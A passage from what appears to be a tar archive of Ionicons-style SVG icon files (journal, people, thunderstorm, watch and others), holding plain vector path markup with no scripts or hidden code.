3.3-1.3 5.1 6.4 13.2 11.7 26.7 15.7 40.6.6 2.2 2.9 3.4 5.1 2.7l13.6-4.4c4.7-1.5 9.7 1.1 11.2 5.7l.1.4c1.5 4.7-1.1 9.7-5.7 11.2l-15.6 5c-1.9.6-3.1 2.6-2.7 4.6 1.3 7 2.3 14.1 3 21.2v1c95.9-10.2 172.3-85.6 184.1-181-8.9-.7-17.9-1.9-26.7-3.6-1.9-.3-3.9.9-4.5 2.8z"/></svg>collection/icon/svg/md-journal.svg000064400000000517151701353760013232 0ustar00<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 512 512" xml:space="preserve"><style>.st0{fill:#010101}</style><path class="st0" d="M117.3 42.7c-17.6 0-32 14.4-32 32v362.7c0 17.6 14.4 32 32 32H320V42.7H117.3zM384.7 42.7H368v426.7h16.7c23.1 0 42-18.9 42-42V84.7c0-23.1-18.9-42-42-42z"/></svg>collection/icon/svg/ios-people.svg000064400000002506151701353760013236 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M349.1 334.7c-11.2-4-29.5-4.2-37.6-7.3-5.6-2.2-14.5-4.6-17.4-8.1-2.9-3.5-2.9-28.5-2.9-28.5s7-6.6 9.9-14c2.9-7.3 4.8-27.5 4.8-27.5s6.6 2.8 9.2-10.4c2.2-11.4 6.4-17.4 5.3-25.8-1.2-8.4-5.8-6.4-5.8-6.4s5.8-8.5 5.8-37.4c0-29.8-22.5-59.1-64.6-59.1-42 0-64.7 29.4-64.7 59.1 0 28.9 5.7 37.4 5.7 37.4s-4.7-2-5.8 6.4c-1.2 8.4 3 14.4 5.3 25.8 2.6 13.3 9.2 10.4 9.2 10.4s1.9 20.1 4.8 27.5c2.9 7.4 9.9 14 9.9 14s0 25-2.9 28.5-11.8 5.9-17.4 8c-8 3.1-26.3 3.5-37.6 7.5-11.2 4-45.8 22.2-45.8 67.2h278.3c.1-45.1-34.5-63.3-45.7-67.3z"/><path d="M140 286s23.9-.8 33.4-9.3c-15.5-23.5-7.1-50.9-10.3-76.5-3.2-25.5-17.7-40.8-46.7-40.8h-.4c-28 0-43.1 15.2-46.3 40.8-3.2 25.5 5.7 56-10.2 76.5C69 285.3 93 285 93 285s1 14.4-1 16.8c-2 2.4-7.9 4.7-12 5.5-8.8 1.9-18.1 4.5-25.9 7.2-7.8 2.7-22.6 17.2-22.6 37.2h80.3c2.2-8 17.3-22.3 32-29.8 9-4.6 17.9-4.3 24.7-5.2 0 0 3.8-6-8.7-8.3 0 0-17.2-4.3-19.2-6.7-1.9-2.2-.6-15.7-.6-15.7zM372 286s-23.9-.8-33.4-9.3c15.5-23.5 7.1-50.9 10.3-76.5 3.2-25.5 17.7-40.8 46.7-40.8h.4c28 0 43.1 15.2 46.3 40.8 3.2 25.5-5.7 56 10.2 76.5-9.5 8.6-33.5 8.3-33.5 8.3s-1 14.4 1 16.8c2 2.4 7.9 4.7 12 5.5 8.8 1.9 18.1 4.5 25.9 7.2 7.8 2.7 22.6 17.2 22.6 37.2h-80.3c-2.2-8-17.3-22.3-32-29.8-9-4.6-17.9-4.3-24.7-5.2 0 0-3.8-6 8.7-8.3 0 0 17.2-4.3 19.2-6.7 1.9-2.2.6-15.7.6-15.7z"/></svg>collection/icon/svg/ios-list.svg000064400000000664151701353760012730 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="92" cy="256" r="28"/><circle cx="92" cy="132" r="28"/><circle cx="92" cy="380" r="28"/><path d="M432 240H191.5c-8.8 0-16 7.2-16 16s7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16zM432 364H191.5c-8.8 0-16 7.2-16 16s7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16zM191.5 148H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H191.5c-8.8 0-16 7.2-16 16s7.2 16 16 16z"/></svg>collection/icon/svg/md-thunderstorm.svg000064400000000640151701353760014313 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393.2 161.2C380.5 96.6 323.9 48 256 48c-39.7 0-76 14-100.9 45.4 34.3 2.6 66.1 15.2 90.7 39.8 18.2 18.2 31 40.5 37.4 64.8h-33.5c-15.3-43.7-56-75-105.7-75-6 0-14.3.7-20.6 2C70 136 32 180.4 32 235.5 32 297.6 82.2 336 144 336h68V233h99.1l-33.2 67H311l-18 36h93.7c51.5 0 93.3-30 93.3-81.8 0-49.4-38.3-89.6-86.8-93zM212 368h22v96l59-128h-81z"/></svg>collection/icon/svg/md-volume-mute.svg000064400000000205151701353760014031 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 192v128h85.334L256 431.543V80.458L149.334 192H64z"/></svg>collection/icon/svg/ios-reverse-camera.svg000064400000002274151701353760014655 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M417.5 160H363c-4.6 0-8.9-2-12-5.4-28.4-31.8-39.1-42.6-50.7-42.6h-85.5c-11.7 0-23.2 10.8-51.7 42.7-3 3.4-7.4 5.3-11.9 5.3h-4.1v-8c0-4.4-3.6-8-8-8h-26c-4.4 0-8 3.6-8 8v8h-7.5C79.9 160 64 173.2 64 190.7v176c0 17.5 15.9 33.3 33.5 33.3h320c17.6 0 30.5-15.8 30.5-33.3v-176c0-17.5-12.9-30.7-30.5-30.7zM308.3 340.5c-.8 2.5-2.6 4.6-4.8 6.1-14.1 9.7-30.5 14.8-47.5 14.8-21 0-41.2-8.1-57.1-22.7-14.6-13.5-24.1-31.2-27-50.2h-20.4c-3.2 0-6-2.8-5.6-6.6.1-.7.3-1.3.7-1.8l31.5-42.3c1.1-1.4 2.7-2.2 4.4-2.2 1.7 0 3.3.8 4.4 2.2l32.2 41.8c2 2.6 1.5 6.4-1.8 8.5-.6.4-1.2.5-1.9.5h-20.8c2.7 12.8 9.7 24.8 19.9 34 11.6 10.6 26.3 16.4 41.4 16.4 12.3 0 24.4-4 35.1-11.5 1.9-1.3 4.2-2.1 6.5-2.1 3.2 0 6.2 1.3 8.3 3.7 2.9 3 3.9 7.3 2.5 11.4zm56.6-67.5l-31.2 42.9c-1.8 2.5-5.5 3.2-8.3.8-.2-.2-.4-.4-.5-.6L292.5 273c-2-2.6-1.4-6.5 1.9-8.5.6-.3 1.2-.5 1.9-.5h21c-2.7-13.6-9.7-26.1-19.9-35.6-11.5-10.7-26.2-16.6-41.3-16.6-12.5 0-24.6 3.9-35.2 11.3-1.9 1.3-4.1 2-6.4 2-3.1 0-6.1-1.3-8.2-3.6-2.8-3-3.8-7.4-2.5-11.5.8-2.5 2.6-4.6 4.7-6 14.1-9.7 30.6-14.8 47.6-14.8 21.7 0 42.2 7.9 57.8 22.3 13.3 12.3 23.2 32.1 26.2 52.4h21.1c.6 0 1.3.2 1.8.5 3.2 2.1 3.8 6 1.9 8.6z"/></svg>collection/icon/svg/ios-help.svg000064400000000645151701353760012704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.7 160c37.5 0 63.3 20.8 63.3 50.7 0 19.8-9.6 33.5-28.1 44.4-17.4 10.1-23.3 17.5-23.3 30.3v7.9h-34.7l-.3-8.6c-1.7-20.6 5.5-33.4 23.6-44 16.9-10.1 24-16.5 24-28.9s-12-21.5-26.9-21.5c-15.1 0-26 9.8-26.8 24.6H192c.7-32.2 24.5-54.9 64.7-54.9zm-26.3 171.4c0-11.5 9.6-20.6 21.4-20.6 11.9 0 21.5 9 21.5 20.6s-9.6 20.6-21.5 20.6-21.4-9-21.4-20.6z"/></svg>collection/icon/svg/md-flash.svg000064400000000172151701353760012652 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M160 48v224h64v192l128-256h-64l64-160H160z"/></svg>collection/icon/svg/ios-bookmarks.svg000064400000001025151701353760013735 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 32v127.9l-22.9-14.5-9.1-6.4-9.1 6.4-22.9 14.5V32h-41.4c-22.5.2-40.6 18.8-40.6 41.4v313.2c0 7.5-5.8 14-13.3 14.4-8 .4-14.7-6-14.7-14V73.4c0-22.6-18.1-41.2-40.6-41.4H95.1C64.8 32 40 56.8 40 87.1v289.8c0 30.3 24.8 55.1 55.1 55.1l108-.1c4.2.1 8.3.6 12.2 1.4 15.3 3.1 26.8 16.6 26.6 32.2-.1 7.2 5.2 13.6 12.4 14.4 8.5.9 15.7-5.7 15.6-14.1-.2-15.8 11.4-29.4 26.9-32.5 3.8-.8 7.9-1.2 12-1.3l108 .1c30.3 0 55.1-24.8 55.1-55.1V87.1C472 56.8 446.3 32 416 32z"/></svg>collection/icon/svg/ios-basketball.svg000064400000002403151701353760014052 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M218.6 306.4c14.3-11.8 28.3-24.4 41.4-37.6l6.1-6.1c-2.8-2.9-5.6-5.8-8.3-8.5-49.9-49.9-107.7-89.6-171.8-118.1-18.4 26.1-31 56.6-35.8 89.6 32.2 2.3 63.2 10.5 92.2 24.5 28.8 13.9 54.4 32.8 76.2 56.2zM326.1 185.6c.5.5 1.1 1.1 1.7 1.6 20.9-30.5 38.8-63.2 53.5-97.4-33.8-25.5-75.6-41-121-41.9 2.4 22.3 8 44.1 16.7 64.7 11.5 27.4 28.1 52 49.1 73zM399 234.8c20.7 8.8 42.6 14.4 65 16.7-1.2-56.3-24.8-107.1-62.2-143.9-15 33.8-33.3 66.3-54.4 96.8 15.8 12.4 33.2 22.6 51.6 30.4zM193.9 318.1c-21.1-21.1-45.6-37.6-72.9-49.2-23.2-9.8-47.7-15.6-72.9-17.4 0 1.5-.1 3-.1 4.4 0 48.7 16.7 93.5 44.8 128.9 37.3-17 72.7-37.9 105.4-62.4-1.5-1.4-2.9-2.9-4.3-4.3zM283.8 243.6c10.1-11.3 19.7-23.1 28.8-35.1-44.5-42.3-72.1-98.6-78.2-159.5-51.9 5.4-98.1 29.8-131.5 66.2 33.4 15.3 65.5 33.8 95.6 55.1 30.5 21.7 59.2 46.3 85.3 73.3zM301.4 262.8c38.9 44 70.9 93.2 95.3 146.4 36.4-33.5 60.9-79.8 66.2-131.7-47.7-4.7-92.8-22.6-130.8-52-9.6 12.7-20 25.3-30.7 37.3zM235.3 326.2c29.9 39.5 47.5 86.2 51 135.6 33-4.8 63.5-17.4 89.5-35.8-23.4-52.6-54.3-101-92.2-144.2-15.2 15.6-31.4 30.5-48.3 44.4zM214.9 342.3c-32.4 24.4-67.4 45.5-104 62.8 37.5 36.5 88.6 59 145.1 59 1.5 0 3 0 4.5-.1-1.8-25.2-7.6-49.7-17.4-72.9-7.4-17.5-16.8-33.8-28.2-48.8z"/></svg>collection/icon/svg/md-nuclear.svg000064400000000551151701353760013207 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M336 272c0-29.8-16.3-55.7-40.4-69.5l73.1-124.1C335.6 59.1 297.1 48 256 48c-41.2 0-79.9 11.2-113.1 30.6l71.6 125C191.4 217.6 176 243 176 272H32c0 83.3 46.9 153.4 114.4 192l70.1-122.4c11.7 6.6 25.1 10.4 39.5 10.4 14.3 0 27.7-3.8 39.3-10.3L365.6 464C433.1 425.4 480 355.3 480 272H336z"/></svg>collection/icon/svg/md-pie.svg000064400000000520151701353760012327 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32.6 256H256V32.6c-5-.4-10.6-.6-16-.6-114.9 0-208 93.1-208 208 0 5.4.2 11 .6 16z"/><path d="M109.8 402.2C147.9 449.6 206.4 480 272 480c114.9 0 208-93.1 208-208 0-65.6-30.4-124.1-77.8-162.2C370.5 84.3 331 67.9 288 64.6V288H64.6c3.3 43 19.7 82.5 45.2 114.2z"/></svg>collection/icon/svg/md-walk.svg000064400000000643151701353760012516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M288 112c22.223 0 39.997-17.776 39.997-40 0-22.225-17.774-40-39.997-40s-40.003 17.775-40.003 40c0 22.224 17.78 40 40.003 40zM288 232h104v-40h-72l-44.802-69.333c-7.698-11.667-18.136-18.136-30.933-18.136-3.198 0-8.828.531-12.799 1.747L120 144v112h40v-80l40.531-16L120 480h40l56.698-164.271L267 384v96h38V352l-57.031-96 19.745-61.864L288 232z"/></svg>collection/icon/svg/md-contact.svg000064400000000565151701353760013216 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm0 62.4c34.3 0 62.4 28.1 62.4 62.4s-28.1 62.4-62.4 62.4-62.4-28.1-62.4-62.4 28.1-62.4 62.4-62.4zm0 300.4c-52 0-97.8-27-124.8-66.6 1-41.6 83.2-64.5 124.8-64.5s123.8 22.9 124.8 64.5c-27 39.5-72.8 66.6-124.8 66.6z"/></svg>collection/icon/svg/md-calendar.svg000064400000000453151701353760013330 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368.005 272h-96v96h96v-96zm-32-208v32h-160V64h-48v32h-24.01c-22.002 0-40 17.998-40 40v272c0 22.002 17.998 40 40 40h304.01c22.002 0 40-17.998 40-40V136c0-22.002-17.998-40-40-40h-24V64h-48zm72 344h-304.01V196h304.01v212z"/></svg>collection/icon/svg/ios-heart-dislike.svg000064400000001005151701353760014470 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M423.8 426.8L56.3 65.1c-5.6-5.5-14.6-5.5-20.1.1-5.5 5.5-5.5 14.5 0 20l367.5 361.7c3.7 3.7 9 4.9 13.7 3.6 2.4-.6 4.6-1.9 6.4-3.7 5.6-5.5 5.6-14.5 0-20zM64 169c0 37 15.2 89.5 46.8 132.7C171 384 272 456 272 456s29.3-20.3 65.7-51.6L68 139c-2.6 9.6-4 19.6-4 30zM434.2 301.7C465.8 258.5 480 206 480 169c0-62.1-50.1-112.4-112-113h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-29.2.3-55.8 11.6-75.7 30l281.9 277.4c19.3-19.1 36.2-40 52-61.7z"/></svg>collection/icon/svg/md-shuffle.svg000064400000000371151701353760013212 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M222.2 188.1L97.8 64 64 97.8l124.1 124.1 34.1-33.8zM316 64l49 49L64 414.2 97.8 448 399 147l49 49V64H316zm7.9 225.8l-33.8 33.8 75.1 75.1L316 448h132V316l-49 49-75.1-75.2z"/></svg>collection/icon/svg/logo-bitbucket.svg000064400000000506151701353760014072 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M452.9 64.2c-.7-.1-1.5-.2-2.2-.2H61.5c-7.4-.1-13.4 5.9-13.5 13.5 0 .8 0 1.6.2 2.4l56.6 352.5c.7 4.3 2.9 8.2 6.1 11.1 3.2 2.9 7.4 4.5 11.7 4.5H394c6.6.1 12.3-4.8 13.3-11.5L441 224H316l-16 96h-88l-22.3-126.9h256.2l18-113.1c1.1-7.5-3.8-14.6-11-15.8z"/></svg>collection/icon/svg/md-podium.svg000064400000000215151701353760013050 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 224h128v192H32zM192 128h128v288H192zM352 288h128v128H352z"/></svg>collection/icon/svg/ios-close-circle.svg000064400000000762151701353760014320 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm52.7 283.3L256 278.6l-52.7 52.7c-6.2 6.2-16.4 6.2-22.6 0-3.1-3.1-4.7-7.2-4.7-11.3 0-4.1 1.6-8.2 4.7-11.3l52.7-52.7-52.7-52.7c-3.1-3.1-4.7-7.2-4.7-11.3 0-4.1 1.6-8.2 4.7-11.3 6.2-6.2 16.4-6.2 22.6 0l52.7 52.7 52.7-52.7c6.2-6.2 16.4-6.2 22.6 0 6.2 6.2 6.2 16.4 0 22.6L278.6 256l52.7 52.7c6.2 6.2 6.2 16.4 0 22.6-6.2 6.3-16.4 6.3-22.6 0z"/></svg>collection/icon/svg/md-ice-cream.svg000064400000000627151701353760013407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128.1 256l128 224 128-224zM392 161c3-9 4.7-22.7 4.7-32.9 0-53.1-43-96.1-96.1-96.1-31.4 0-59.2 15-76.8 38.3 0 0-9.1 14-10.8 29l-3.4-1c-2.3-9-3.7-20 1.6-31.5-7.4-2.5-9.4-2.8-17.6-2.8-41.7 0-75.6 33.8-75.6 75.6 0 6.3.8 15.5 2.3 21.4-13.9 3.5-24.3 16.1-24.3 31 0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32 0-14.8-10.2-27.4-24-31z"/></svg>collection/icon/svg/ios-restaurant.svg000064400000001035151701353760014136 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 64c-24.8 0-48 77.3-48 160 0 57 32 80 32 80v128c0 8.8 7.2 16 16 16s16-7.2 16-16V75c0-11-11-11-16-11zM288 64l10 104c0 4.4-3.6 8-8 8s-8-3.6-8-8l-6-104h-8l-6 104c0 4.4-3.6 8-8 8s-8-3.6-8-8l10-104h-8s-24 107.2-24 128 13.4 38.6 32 45.2V432c0 8.8 7.2 16 16 16s16-7.2 16-16V237.2c18.6-6.6 32-24.2 32-45.2S296 64 296 64h-8zM160 64c-26.5 0-48 64-48 128 0 20.8 13.4 38.6 32 45.2V432c0 8.8 7.2 16 16 16s16-7.2 16-16V237.2c18.6-6.6 32-24.2 32-45.2 0-64-21.5-128-48-128z"/></svg>collection/icon/svg/ios-color-wand.svg000064400000002346151701353760014021 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M445.7 405.6L201.3 160.4c-3.1-3.1-8.2-3.1-11.3 0l-28.7 28.8c-3.1 3.1-3.1 8.2 0 11.3l244.4 245.2c3.1 3.1 8.2 3.1 11.3 0l28.6-28.8c3.2-3.1 3.2-8.2.1-11.3zm-25.5 14.3l-.1.1c-3.1 3.1-8.2 3.1-11.3 0L218.9 229.5c-3.1-3.1-3.1-8.2 0-11.3l.1-.1c3.1-3.1 8.2-3.1 11.3 0l189.9 190.5c3.1 3.1 3.1 8.2 0 11.3zM192.8 120.1c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12s-12 5.4-12 12v32.1c0 6.6 5.4 12 12 12zM192.8 263.3c-6.6 0-12 5.4-12 12v32.1c0 6.6 5.4 12 12 12s12-5.4 12-12v-32.1c0-6.6-5.4-12-12-12zM270.7 190.2c0 6.6 5.4 12 12 12h32c6.6 0 12-5.4 12-12s-5.4-12-12-12h-32c-6.6 0-12 5.4-12 12zM119.9 190.2c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12s5.4 12 12 12h32c6.5 0 11.9-5.4 11.9-12zM124.8 141c2.3 2.3 5.3 3.5 8.5 3.5s6.2-1.3 8.5-3.5c4.7-4.7 4.7-12.3 0-17l-20.9-21c-2.3-2.3-5.3-3.5-8.5-3.5s-6.2 1.3-8.5 3.5c-4.7 4.7-4.7 12.3 0 17l20.9 21zM133.3 239.9c-3.2 0-6.2 1.3-8.5 3.5l-20.9 21c-2.3 2.3-3.5 5.3-3.5 8.5s1.2 6.2 3.5 8.5 5.3 3.5 8.5 3.5 6.2-1.3 8.5-3.5l20.9-21c4.7-4.7 4.7-12.3 0-17-2.3-2.2-5.3-3.5-8.5-3.5zM252.4 144.5c3.2 0 6.2-1.3 8.5-3.5l20.9-21c4.7-4.7 4.7-12.3 0-17-2.3-2.3-5.3-3.5-8.5-3.5s-6.2 1.3-8.5 3.5l-20.9 21c-2.3 2.3-3.5 5.3-3.5 8.5s1.2 6.2 3.5 8.5c2.3 2.2 5.3 3.5 8.5 3.5z"/></svg>collection/icon/svg/ios-cloud-done.svg000064400000001063151701353760014000 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 229.8C429 154.6 365.4 96 288 96c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 241.5 0 280.5 0 321.5 0 371.7 40.7 416 90.9 416h330.3c50.2 0 90.9-44.3 90.9-94.5-.1-44.7-32.4-84.1-75-91.7zm-74.6-17.3L228.8 346.8h-.1c-1.7 1.7-6.3 5.5-11.6 5.5-3.8 0-8.1-2.1-11.7-5.7l-56-56c-1.6-1.6-1.6-4.1 0-5.7l17.8-17.8c.8-.8 1.8-1.2 2.8-1.2 1 0 2 .4 2.8 1.2l44.4 44.4 122-122.9c.8-.8 1.8-1.2 2.8-1.2 1.1 0 2.1.4 2.8 1.2l17.5 18.1c1.8 1.7 1.8 4.2.2 5.8z"/></svg>collection/icon/svg/ios-arrow-dropdown-circle.svg000064400000000542151701353760016173 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm289.1-43.4c7.5-7.5 19.8-7.5 27.3 0 3.8 3.8 5.6 8.7 5.6 13.6s-1.9 9.9-5.7 13.7l-94.3 94c-7.6 6.9-19.3 6.7-26.6-.6l-95.7-95.4c-7.5-7.5-7.6-19.7 0-27.3 7.5-7.5 19.7-7.6 27.3 0l81.1 81.9 81-79.9z"/></svg>collection/icon/svg/md-funnel.svg000064400000000251151701353760013042 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M208 400h96v-47.994h-96V400zM32 112v47.994h448V112H32zm80 168.783h288v-49.555H112v49.555z"/></svg>collection/icon/svg/md-code.svg000064400000000320151701353760012462 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M190.4 354.1L91.9 256l98.4-98.1-30-29.9L32 256l128.4 128 30-29.9zm131.2 0L420 256l-98.4-98.1 30-29.9L480 256 351.6 384l-30-29.9z"/></svg>collection/icon/svg/ios-pricetag.svg000064400000000607151701353760013550 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M435.2 48H312.3c-3.8 0-7.5 1.5-10.2 4.2L56.4 297.9c-11.2 11.2-11.2 29.5 0 40.7l117 117c11.2 11.2 29.5 11.2 40.7 0L459.7 210c2.7-2.7 4.2-6.4 4.2-10.2v-123C464 60.9 451.1 48 435.2 48zm-47.7 111.8c-20.4 2.2-37.4-14.9-35.3-35.3 1.6-14.8 13.5-26.8 28.3-28.3 20.4-2.2 37.4 14.9 35.3 35.3-1.6 14.8-13.5 26.7-28.3 28.3z"/></svg>collection/icon/svg/ios-folder.svg000064400000000617151701353760013226 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 119c0-13.3-9.4-23-22.8-23H198.9c-2.8 0-4.3-.6-6.1-2.4l-22.5-22.5-.2-.2c-4.9-4.6-8.9-6.9-17.3-6.9H56.7C42.9 64 32 74.3 32 87v73.7c0 1.6 1.7 1.5 3 .7s5-1.4 7-1.4h428c2 0 5.7.6 7 1.4 1.3.8 3 .9 3-.7V119zM32 416.4c0 17.5 14.2 31.6 31.6 31.6H448c17.6 0 32-14.4 32-32V204c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v212.4z"/></svg>collection/icon/svg/ios-done-all.svg000064400000001157151701353760013446 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M317.5 210.3c1.7-1.8 1.8-4.7 0-6.5l-19.8-21c-.8-.9-2-1.4-3.2-1.4-1.2 0-2.4.5-3.2 1.4l-66.5 69.1 26.4 27.1 66.3-68.7zM123.8 253.1c-.9-.9-2-1.4-3.2-1.4-1.2 0-2.3.5-3.2 1.4l-20.1 20.7c-1.8 1.8-1.8 4.8 0 6.6l63.2 65c4 4.2 9 6.6 13.2 6.6 6 0 11.1-4.5 13.1-6.4l.1-.1 13.4-13.8-76.5-78.6z"/><path d="M414.7 182.4l-19.8-21c-.8-.9-2-1.4-3.2-1.4-1.2 0-2.4.5-3.2 1.4L250.7 304.1l-50.1-51.6c-.9-.9-2-1.4-3.2-1.4-1.2 0-2.3.5-3.2 1.4l-20.1 20.7c-1.8 1.8-1.8 4.8 0 6.6l63.2 65c4 4.2 9 6.6 13.2 6.6 6 0 11.1-4.5 13.1-6.4l.1-.1 151-156.1c1.7-1.7 1.7-4.6 0-6.4z"/></svg>collection/icon/svg/md-magnet.svg000064400000001464151701353760013035 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M383.6 98.8C352.1 65.8 308 48.2 256 48c-51.9.2-96 17.8-127.5 50.8C96.8 132 80 178.8 80 234c0 43.5 1.8 69.2 12.9 115.8 0 0 22.7 75.7 35.5 104.1 3.5 7.8 7.4 11.8 15.5 9.3 6.4-2 46.8-17.9 54.7-21.6 7.9-3.6 11.6-8.6 8.9-15.2-3.8-9.2-33.9-95.6-33.9-95.6-8.4-36.3-11.6-53.9-11.6-94.3 0-28.2 9.8-54.1 27.7-72.9 17.5-18.3 41-28.4 66.3-28.4s48.8 10.1 66.3 28.4c17.9 18.8 27.7 44.6 27.7 72.8 0 40-3.2 64-11.7 94.4s-32.2 90.1-33.9 95.6c-1.7 5.6 2.1 12.5 8.9 15.2 6.8 2.7 49.3 19.6 54.7 21.6 5.4 2 10.6.6 14.5-7.7 4-8.3 24.6-61.4 36.5-105.7 12-44.3 13-72.3 13-115.8 0-55.2-16.7-101.9-48.4-135.2zM173.1 419.7l-22.9 9.6c-6.9-16.3-17.2-43.2-25.9-77.2l22-6.5 26.8 74.1zm188.6 9.6l-22.9-9.6c7.2-16.6 19.1-45.1 26.6-74.1l22 6.5c-8.4 33.9-18.7 60.9-25.7 77.2z"/></svg>collection/icon/svg/ios-watch.svg000064400000003632151701353760013061 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440.3 161.3c-15-23.9-36.3-43.3-61.4-56.1-1.9-.9-3.9-1.4-6-1.4-5 0-9.5 2.8-11.8 7.2-1.6 3.1-1.9 6.7-.8 10 1.1 3.3 3.4 6.1 6.6 7.7 20.9 10.7 38.6 26.8 51.1 46.7 12.8 20.4 19.6 44 19.6 68v40.5c0 17.2-3.3 33.4-9.9 48-6.3 14-15.4 26.3-27 36.6-23.2 20.5-55.1 31.9-89.9 31.9-34.4 0-43.6-5.2-52.4-10.2-8.1-4.6-17.3-9.8-37.7-11-31.7-2-56.9-12.4-77.2-31.8-2.5-2.4-5.7-3.7-9.1-3.7-3.6 0-7 1.5-9.5 4.1-2.4 2.5-3.7 5.7-3.7 9.1 0 3.6 1.5 7 4.1 9.5 25 23.9 55.7 36.7 93.8 39.1 14.4.9 19.4 3.7 26.4 7.7 11.3 6.4 24.1 13.6 65.4 13.6 41.6 0 80-13.9 108.1-39.2 14.2-12.8 25.3-28 33-45.2 8-18 12.1-37.6 12.1-58.5v-40.5c-.1-29.1-8.3-57.5-23.8-82.1z"/><path d="M284 383c8.7 1.4 17.2 2.1 25.4 2.1 16 0 31.2-2.7 45-8 13.9-5.4 26.5-13.4 37.5-23.9 5.3-5 5.4-13.4.4-18.6-2.5-2.6-5.9-4.1-9.5-4.1-3.4 0-6.7 1.3-9.1 3.7-17.1 16.3-38.8 24.6-64.5 24.6-6.8 0-13.8-.6-21-1.8-.7-.1-1.4-.2-2.1-.2-6.5 0-12 4.6-13 11-.1.7-.2 1.4-.2 2.1 0 6.6 4.7 12 11.1 13.1zm2.1-21.1h.1-.3.2zM222.9 421.7c-39.9 0-72.8-13.4-102.7-40.3-29.1-26.2-45.8-60.7-45.8-94.5v-43.6c0-24.1 6.8-47.6 19.6-68 12.5-19.9 30.2-36 51.1-46.7 3.1-1.6 5.5-4.3 6.6-7.7 1.1-3.3.8-6.9-.8-10.1-2.3-4.4-6.8-7.2-11.8-7.2-2.1 0-4.1.5-6 1.4-25.1 12.8-46.4 32.2-61.4 56.1-15.5 24.6-23.7 53-23.7 82v43.6c0 41.2 19.9 82.8 54.5 114 34.6 31.2 74 47.1 120.4 47.1 7.3 0 13.2-5.9 13.2-13.2-.1-7-6-12.9-13.2-12.9z"/><g><path d="M348.4 115.1c.8-11.9 10.3-21.6 22.2-22.6 4.3-.4 8.4.4 12 2 2.6 1.1 5.1-1.6 3.9-4.1-2.7-5.7-6.6-10.9-11.5-15.1C366.6 68 355.9 64 344.8 64H167.2c-17.9 0-33.9 10.3-41.5 25.8-1.2 2.5 1.2 5.2 3.9 4.2 3.3-1.3 7-1.8 10.8-1.5 11.9 1 21.4 10.8 22.2 22.7.8 13.6-9.5 25-22.8 25.8-.9.1-1.8.7-2.1 1.5-.4 1.1-.1 2.3.8 3 8.1 6.2 18.1 9.7 28.7 9.7h177.6c10.9 0 21.2-3.6 29.4-10.2 1.7-1.3.7-4-1.4-4h-.1c-14 0-25.2-11.7-24.3-25.9zm-21.6-10.3c3.5 15.8-10.7 30-26.5 26.5-8.4-1.9-15.2-8.6-17-17-3.5-15.8 10.7-30 26.5-26.5 8.4 1.9 15.2 8.6 17 17z"/></g></svg>collection/icon/svg/ios-cloudy.svg000064400000000457151701353760013254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M236 